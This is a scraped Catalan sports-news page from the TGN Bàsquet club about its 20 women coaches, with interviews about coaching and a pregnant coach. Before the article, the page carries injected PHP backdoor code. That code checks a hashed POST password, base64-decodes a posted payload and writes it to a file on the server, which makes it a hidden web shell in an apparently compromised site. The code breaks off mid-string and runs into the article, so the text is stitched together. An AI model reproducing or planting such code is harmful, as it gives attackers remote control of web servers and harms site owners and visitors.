function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Vocació femenina: el TGN Bàsquet compta amb 20 entrenadores en la seva estructura tècnica - Tgn Bàsquet Club -

Home / Notícies / Equips / Femenins / Vocació femenina: el TGN Bàsquet compta amb 20 entrenadores en la seva estructura tècnica

Vocació femenina: el TGN Bàsquet compta amb 20 entrenadores en la seva estructura tècnica

By
Updated: novembre 6, 2017

Noies i més noies, per tot arreu, en tots els esglaons de l’estructura del club. Des de jugadores d’escola, fins a categoria sènior —on només hi ha dos equips femenins, la línia masculina finalitza a júnior de fa molts anys—, passant per la junta directiva del club. El TGN Bàsquet té una clara vocació femenina. No se n’ha amagat mai i, de fet, en presumeix. Se sent orgullós d’aquesta aposta per l’esport femení i en fa bandera allà on va.

El club lila sempre ha estat una entitat molt discreta, poc donada a posar-se medalles i li ha agradat treballar en silenci. Es tracta d’una organització sanejada econòmicament, que obté la majoria dels seus recursos a través de la seva feina, de la capacitat de treball per organitzar campionats i multitud d’activitats. Aquesta feina constant, silenciosa, s’ha aplicat també a l’àrea esportiva. Centenars de jugadors i jugadores cada any i també entrenadores. El TGN Bàsquet compta amb 20 entrenadores dins la seva estructura. Moltes d’elles, la majoria, compaginen aquesta tasca amb la de jugadores als seus equips i, per tant, formen una estructura molt sòlida d’identificació amb l’entitat. Una de les cares més visibles i reconeixibles és Laura Vilamajor, una de les dues capitanes de l’equip de Copa Catalunya i que també fa d’entrenadora als equips de la base. Jugadores del primer equip que també fan d’entrenadores són Anna Garcia, Marina Romeu i Laia López. Una que ho va ser i que és la que més anys duu a la casa és Montse Martí.

Martí va ser capitana del sènior A quan aquest militava a Primera Catalana i es va retirar fa algunes temporades, tot i que només té 34 anys. Ella va començar d’alumna al Sagrat Cor quan tenia 3 anys i ara n’és professora. Tota la vida en una institució que va ser el bressol del club ara fa 15 anys. «Als sis anys vaig començar a jugar a bàsquet i als setze ja entrenava. Quan ets jugadora, ets més egoista, la culpa sempre és de la resta del món. Quan era petita, a més, criticava molt els àrbitres però quan vaig convertir-me en entrenadora i encara jugava, ja veia que no  els podia criticar tant perquè jo era un exemple per als meus jugadors. L’entrenador és un referent pels jugadors i ha de ser un model de comportament», diu. Martí destaca la tasca del TGN Bàsquet en l’aposta per la formació de jugadores i d’entrenadores: «Normalment sempre hi ha més entrenadors que entrenadores i el que fem aquí m’omple d’orgull. El bàsquet ha d’obrir, a poc a poc, la seva mentalitat. Encara falta perquè una entrenadora sigui la responsable d’un equip de nois important, tot i que hi ha excepcions, la més coneguda de les quals és Carme Lluveras».

Les entenadores del TGN Bàsquet són:

Laura Vilamajor
Marina Romeu
Anna Garcia
Laura López
Laia López
Anna Berasategui
Anna Pocino
Noelia Ayete
Anna Alicia Barreira
Clàudia Renard
Marta Pastó
Irene Urbistondo
Laia Mallol
Montse Martí
Sofia Llanos
Mei González
Marina Mallol
Maria Benito
Maria Escoda
Aleida Cornadó

 

 

Berasategui (mans a la cara), Laia Mallol i Irene Urbistondo les tres entrenadores d’un mateix equip de base del TGN Bàsquet la temporada passada al Torneig de Cambrils

Hi ha noies de totes les edats. Les més joves que s’han incorporat enguany són les cadets Sofia Llanos, Mei González i Marina Mallol. «Coneixia gent que ja ho feia i vaig decidir provar, creia que podia ser interessant», diuen Llanos i González, companyes d’equip, en relació a les motivacions per a decidir-se ser entrenadores. Mallol, per la seva banda, admet que el fet que la seva germana gran també ho sigui, va ser important a l’hora de prendre la decisió. Llanos és la tercera entrenadora de l’equip benjamí femení de 3r que dirigeix Montse Martí, Mei González es troba en l’organigrama del benjamí masculí de 4rt que compta com a primera entrenadora a Anna Berasategui i Mallol també té a Berasategui de primera en l’equip Escola P4-P5. «Ara veig tot l’esforç que hi ha darrere d’un entrenador, com es prepara l’entrenament i penso que els jugadors han de tenir millor predisposició de la que tenim, i jo m’incloc, a l’hora d’entrenar», diu Marina Mallol. Totes tres coincideixen que els primers dies de fer d’entrenadores tenien una mica de vergonya però ara asseguren que el fet de poder resoldre dubtes i preguntes dels petits jugadors és un dels factors que més satisfacció els proporcionen.

 

Una entrenadora embarassada

«Abans em deien: un  dia amb un crit et posaràs de part!», explica rient Anna Pocino. Ella fa tres anys que forma part de l’estructura del TGN Bàsquet. Pocino està casada amb Albert del Rey, entrenador del sènior femení A que juga a Copa Catalunya i ara està esperant el seu primer fill que serà, no cal dir-ho, nena. «El club em va oferir portar el preinfantil femení A aquesta temporada i vaig dir que sí sense saber que estava embarassada. Al maig ho vaig saber i aleshores ho vaig comentar al club perquè era conscient que el preinfantil era un equip de bon nivell i jo sola no el podria portar i no volia deixar l’entitat penjada. El club em va dir que si jo encara el volia entrenar, que endavant i així ha estat. Estic molt contenta però des de començaments d’octubre ja no m’encarrego de l’equip perquè estic de baixa esperant el part. Amb tot, continuo venint a veure els entrenaments i els partits perquè així mantinc el vincle amb les noies», diu. L’equip ara està a càrrec de Pau Robert, que va ser designat com a segon seu en previsió que hauria de dur les regnes quan Pocino, per motius de l’embaràs, ja no pogués.

Pocino duu el bàsquet a la sang perquè va començar a jugar quan tenia cinc anys i a entrenar quan en tenia setze (ella té actualment 32 anys). «Si vols que et digui la veritat, no recordo massa entrenadores que hagin estat a les banquetes mentre estaven embarassades. A mi m’ha servit per continuar vinculada amb aquest esport meravellós i ho he fet fins que el metge em va recomenar que no ho fes», diu i afirma que l’aposta del TGN Bàsquet cap al sector femení és digne de destacar: «A Catalunya hi ha poques noies que siguin primeres entrenadores d’equips importants i està molt bé que el TGN Bàsquet cregui i aposti fermament en nosaltres».

 

 

Related Posts

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *